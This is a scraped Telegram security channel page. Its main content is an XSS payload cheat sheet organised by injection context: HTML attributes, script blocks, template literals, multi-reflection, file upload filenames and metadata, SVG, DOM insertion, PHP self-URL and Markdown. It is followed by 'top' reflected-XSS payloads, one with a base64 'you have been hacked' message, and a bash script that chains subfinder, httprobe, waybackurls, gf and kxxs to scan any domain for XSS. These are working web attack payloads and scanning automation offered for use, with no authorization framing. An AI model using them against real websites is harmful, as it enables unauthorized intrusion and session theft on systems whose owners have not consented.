Brut Security
17.9K subscribers
1.15K photos
103 videos
362 files
1.26K links
โœ…DM: @wtf_brut
โœ…For Ad: https://tlmtr.io/p/2flAsc
๐Ÿ›ƒWhatsApp: https://wa.link/brutsecurity
๐ŸˆดTraining: https://brutsecurity.com
๐Ÿ“จMail: info@brutsec.com
Download Telegram
๐ŸŒŸXSS Secrets by Donald Bucks๐ŸŒŸ

HTML Injection
Use when input lands inside an attributeโ€™s value of an HTML tag or outside tag except the ones described in next case. Prepend a โ€œ-->โ€ to payload if input lands in HTML comments.
<svg onload=alert(1)>
"><svg onload=alert(1)>

HTML Injection โ€“ Tag Block Breakout
Use when input lands inside or between opening/closing of the following tags:
<title><style><script><textarea><noscript><pre><xmp> and <iframe> (</tag> is accordingly).
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>

HTML Injection - Inline
Use when input lands inside an attributeโ€™s value of an HTML tag but that tag canโ€™t be terminated by greater than sign (>).
"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //

HTML Injection - Source

Use when input lands as a value of the following HTML tag attributes: href, src, data or action (also formaction). Src attribute in script tags can be an URL or โ€œdata:,alert(1)โ€.
javascript:alert(1)

Javascript Injection
Use when input lands in a script block, inside a string delimited value.
'-alert(1)-'
'/alert(1)//


Javascript Injection - Escape Bypass
Use when input lands in a script block, inside a string delimited value but quotes are escaped by a backslash.
\'/alert(1)//

Javascript Injection โ€“ Script Breakout
Use when input lands anywhere within a script block.
</script><svg onload=alert(1)>

Javascript Injection - Logical Block
Use 1st or 2nd payloads when input lands in a script block, inside a string delimited value and inside a single logical block like function or conditional (if, else, etc). If quote is escaped with a backslash, use 3rd payload.
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//

Javascript Injection - Quoteless

Use when thereโ€™s multi reflection in the same line of JS code. 1st payload works in simple JS variables and 2nd one works in non-nested JS objects.
/alert(1)//\
/alert(1)}//\

Javascript Context - Placeholder Injection in Template LiteralUse when input lands inside backticks (``) delimited strings or in template engines.
${alert(1)}

Multi Reflection HTML Injection - Double Reflection (Single Input)
Use to take advantage of multiple reflections on same page.
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
/alert(1)</script><script>/

Multi Reflection i HTML Injection - Triple Reflection (Single Input)
Use to take advantage of multiple reflections on same page.
/alert(1)">'onload="/<svg/1='
-alert(1)">'onload="<svg/1='
/</script>'>alert(1)/<script/1='

Multi Input Reflections HTML Injection - Double & Triple
Use to take advantage of multiple input reflections on same page. Also useful in HPP (HTTP Parameter Pollution) scenarios, where there are reflections for repeated parameters. 3rd payload makes use of comma-separated reflections of the same parameter.
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/&r=/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>



File Upload Injection โ€“ Filename
Use when uploaded filename is reflected somewhere in target page.
"><svg onload=alert(1)>.gif



File Upload Injection โ€“ Metadata
Use when metadata of uploaded file is reflected somewhere in target page. It uses command-line exiftool (โ€œ$โ€ is the terminal prompt) and any metadata field can be set.
$ exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg



File Upload Injection โ€“ SVG File
Use to create a stored XSS on target when uploading image files. Save content below as
โ€œxss.svgโ€.
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>



DOM Insert Injection
Use to test for XSS when injection gets inserted into DOM as valid markup instead of being reflected in source code. It works for cases where script tag and other vectors wonโ€™t work.
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>



DOM Insert Injection โ€“ Resource Request
Use when native javascript code inserts into page the results of a request to an URL that can be controlled by attacker.
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>



PHP Self URL Injection
๐Ÿ‘6๐Ÿ”ฅ4โค2๐Ÿ‘1
Use when current URL is used by targetโ€™s underlying PHP code as an attribute value of an HTML form, for example. Inject between php extension and start of query part (?) using a leading slash (/).
https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader



Markdown Vector
Use in text boxes, comment sections, etc that allows some markup input. Click to fire.
[clickme](javascript:alert`1`)
๐Ÿ”ฅ8โค4
SQL INJECTION 101.pdf
750.1 KB
๐Ÿ‘7๐Ÿ”ฅ4โค2
This media is not supported in your browser
VIEW IN TELEGRAM
๐ŸŒŸDnsbruter- Dns Bruteforcing Tool๐ŸŒŸ
๐Ÿ‘‰It is a powerful tool designed to perform active subdomain enumeration and discovery.

๐Ÿ”—Link https://github.com/sanjai-AK47/Dnsbruter/
๐Ÿ”ฅ7๐Ÿ‘3
TBHMv4 Recon 4.02.pdf
14.8 MB
Recon Guide by Jhaddix
๐Ÿ”ฅ15๐Ÿ‘4
โค17๐Ÿ‘5๐Ÿ”ฅ4
๐Ÿฅฐ6โค2
๐Ÿ”ฅ18
Top 3 RXSS payloads

`'";//><img/src=x onError="${x};alert(`1`);">

`'";//><Img Src=a OnError=location=src>

`'";//></h1><Svg+Only%3d1+OnLoad%3dconfirm(atob("WW91IGhhdmUgYmVlbiBoYWNrZWQgYnkgb3R0ZXJseSE%3d"))>
โค6๐Ÿ”ฅ3โคโ€๐Ÿ”ฅ1๐Ÿ‘1
Simple Reflected XSS
1. subfinder -d target .com | httprobe -c 100 > target.txt
2. cat target.txt | waybackurls | gf xss | kxxs
๐Ÿฅฐ7๐Ÿ”ฅ3
Brut Security
Simple Reflected XSS 1. subfinder -d target .com | httprobe -c 100 > target.txt 2. cat target.txt | waybackurls | gf xss | kxxs
For Automation Reflected XSS Scanning
#!/bin/bash

# Prompt user for domain input
read -p "Enter the domain you want to scan: " domain

# Define output file
output_file="scan_output.txt"

# Run subfinder to find subdomains, filter through httprobe, and save to target.txt
echo "Finding subdomains for $domain..."
subfinder -d $domain | httprobe -c 100 > target.txt

# Use waybackurls to find URLs from Wayback Machine, filter through gf for XSS, and scan with kxxs
echo "Scanning for XSS vulnerabilities..."
cat target.txt | waybackurls | gf xss | kxxs >> "$output_file"

# Display output file location
echo "Scan output saved to $output_file"
๐Ÿ”ฅ6โค2